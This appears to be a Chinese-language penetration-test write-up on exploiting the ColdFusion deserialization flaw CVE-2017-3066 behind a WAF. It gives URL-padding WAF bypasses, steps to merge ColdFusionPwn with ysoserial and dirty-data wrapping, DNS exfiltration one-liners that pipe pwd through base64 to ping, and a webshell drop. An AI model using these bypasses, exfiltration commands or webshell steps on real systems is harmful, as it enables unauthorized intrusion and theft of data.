coldfusion反序列化過waf改exp拿靶標的艱難過程
Part1 前言
本期分享一個有關Java反序列化漏洞的過waf案例。目標應用系統是Adobe ColdFusion動態web服務器,對應的漏洞編號是CVE-2017-3066,曾經利用這個反序列化漏洞多次拿過權限。靶標直接放在公網上,網站部署了waf,而且這個waf可以識別反序列化攻擊數據包,我當時費時兩三天的時間,繞過了層層防護,過了一個又一個關卡,最終成功getshell,過程是非常艱辛的。
Part2 技術研究過程
- 第1個坑,繞waf第一關
Waf首先對url的攻擊路徑做了攔截,通過掃目錄掃出一個/flex2gateway/amf這個文件路徑,一看就知道大概率存在coldfusion反序列化漏洞,居然直接放在外網靶標的網站根目錄下。別高興地太早,經過測試,只要使用POST請求訪問這個/flex2gateway/amf路徑,就會被waf攔截掉。說明在POST請求下,waf識別了這個路徑,遇到這個路徑就認為是攻擊行為,所以給攔截掉。接下來看繞過方法:
將URL路徑/flex2gateway/amf 轉成:
http://www.xxx.com//////////////////////////////////////////flex2gateway///////////////////////////////amf
(//////字符串是很長的,比上述要長很多,為了避免占用文章太多篇幅,我就不貼出來完整的了)
結果還是被waf攔截了。接下再繼續加超大字符串,看如下操作:
http://www.xxx.com//////////////////////////////////////////flex2gateway///////////////////////////////amf?abc123=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Ok,我們成功繞過了waf設備對url路徑的檢測。

- 第2個坑,個別腳本會造成網站崩潰
對于這個漏洞的利用,之前都是使用cf_blazeds_des.py這個腳本,但是大家使用時需要特別注意,這個腳本通過sun.rmi.server.UnicastRef類實現對反序列化漏洞的利用,前提是服務器必須得出網,我最近2年遇到的coldfusion反序列化漏洞,能出網直接反彈shell的情況越來越少了,而且頂多是dns能出。然后還有一個巨坑,使用這個腳本需要提前做好功課,一次發包就利用成功,否則發個3、5次數據包,應用程序必然會掛掉。所以,這個腳本我幾乎不用,除非萬不得已。
- 第3個坑,ColdFusionPwn工具融合
接下來需要尋找對這個漏洞的不出網的利用方法,在github上各種搜索之后,發現ColdFusionPwn這個工具看起來不錯,也是java寫的,遇到問題我自己可以魔改一下。誰知道真正使用這個工具的時候,一直報錯,提示無法加載主類。之前還是能正常使用的,今天卻用不了了,不知道問題出在哪里。

從工具的使用說明上看,ColdFusionPwn這個工具需要依賴于ysoserial這個jar包。干脆我下載了作者的java代碼,使用Intellij Idea導入到ysoserial中,把代碼流程稍微改了一下,這下子可以自己正常生成payload了,-s與-e是ColdFusionPwn工具的兩種不同的payload生成模式,說白了,就是漏洞的利用方法不同,實測的時候都可以用一下。

- 第4個坑,繞waf第2關
使用上一步的代碼生成payload之后,將payload導入burpsuite的Repeater功能中,把數據包發送出去,結果發現waf又對post包體進行了攔截,點擊“發送”按鈕,waf會直接把數據包丟掉,迅速返回空。

接下來經過一系列測試與判斷,發現waf設備對超大數據包會放行,如下圖所示,waf設備不攔截。
但是這樣直接在反序列化的字節數據前添加臟數據,是肯定不行的,因為無法觸發反序列化攻擊代碼。接下來想起了之前的同事“回憶飄如雪”的Java反序列化添加臟數據的文章,于是我下載了他的java代碼,經過一頓折騰,把作者寫的DirtyDataWrapper類融合到自己的ysoserial里面去,實現對ColdFusionPwn生成的反序列化數據包的參雜臟數據的改造。

最終生成攻擊代碼如下圖所示:

- 第5個坑,過waf第3關
繼續看上述截圖,實測發現還是被WAF攔截了,不知道問題出在哪里。最終經過大量的測試分析,發現只要POST數據包中包含java.util.LinkedList類關鍵字,waf直接會把數據包丟棄掉。ε=(′ο`*)))唉,真是太難了。接下來看看“回憶飄如雪”的java代碼怎么寫的,想把它改造一下。最終我找到了一個簡單的解決辦法,將他的DirtyDataWrapper類代碼中的type值恒等于0,這樣生成的臟數據包,就不包含被waf攔截的敏感類了。具體為什么這么改,這里就不敘述了,大家可以自己從github上搜索相關代碼,自己分析一下。

最終生成的payload,完美繞過waf。
- 第6個坑,ysoserial執行命令
接下來要想辦法拿shell、拿靶標,很遺憾服務器是不出網的,沒法直接反彈shell。經過測試,得出結論:TCP不出網,但是DNS能出。于是我就想了一個辦法,通過DNSlog把web路徑一點點讀出來,如果一個字節一個字節讀太慢,可以結合linux命令一段一段的讀出來,然后向這個web路徑下寫入一個webshell即可。
但是最后新問題又來了,在實戰過程中,URLDNS這個利用鏈能出網,但是ping xxx.dnslog.cn怎么弄都不出網。。。通過dns讀取操作系統名,發現目標服務器是linux。最終我本地搭建了一個coldfusion環境,經過一系列測試,我發現問題出在ysoserial的Gadgets類的執行命令過程中。
注,對于本次測試案例,我變化了各種執行命令的寫法,經過大量的試驗,必須按照如下圖所示的代碼寫法,才能執行命令成功。第一次遇到這種情況,其它的各種寫法都不行,實踐的結論就是這樣,真是太難了。

- 第7個坑,dnslog長度限制
接下來就可以通過DNSLOG讀web路徑了,只要拿到web路徑,就可以直接寫shell拿到權限了,但結果發現dnslog怎么都收不到路徑結果。后來我想明白了,DNSlog是有長度限制的,肯定是目標服務器的web路徑太長了。于是,我經過測試,結合linux自帶的系統目錄sed與cut,給出如下一段一段讀網站絕對路徑的方法。哈哈,分享給大家了。
ping `pwd|base64|sed -n '1p'|cut -c 1-60
ping `pwd|base64|sed -n '1p'|cut -c 61-80
最好用burp的Collaborator client功能,非常好用很穩定,如果用dnslog的話,很多時候瀏覽器卡了一下,dnslog就再也看不到dnslog信息了,就得變換域名,非常麻煩。實戰中會出現各種莫名其妙的問題,后來拿到shell之后,發現是負載均衡的問題。。。

- 第8個坑,負載均衡
寫入webshell之后,發現shell訪問不到了,難道被刪除了?突然我拍了下腿,我的天,這個站竟然還有負載均衡!難怪前期測試漏洞時總是會出現一些莫名其妙的問題。。。于是我開啟了burpsuite的intruder功能,將寫shell的payload發包了幾百次,之后訪問webshell的成功率大大提高了。。。對于負載均衡,我沒有什么好的解決辦法,添加cookie的方法也不能用。

這個案例其實遇到的坑比上述還多,還有很多曲折的地方,但是時間間隔有點長,很多地方也想不起來了,但是關鍵點就是以上部分,歡迎大家勘誤指正,給我發消息提意見。
Part3 總結
1. 對于反序列化漏洞的利用,很多時候都得將exp改一改,以適應各種環境。
2. 多搭建環境,避免走入死胡同。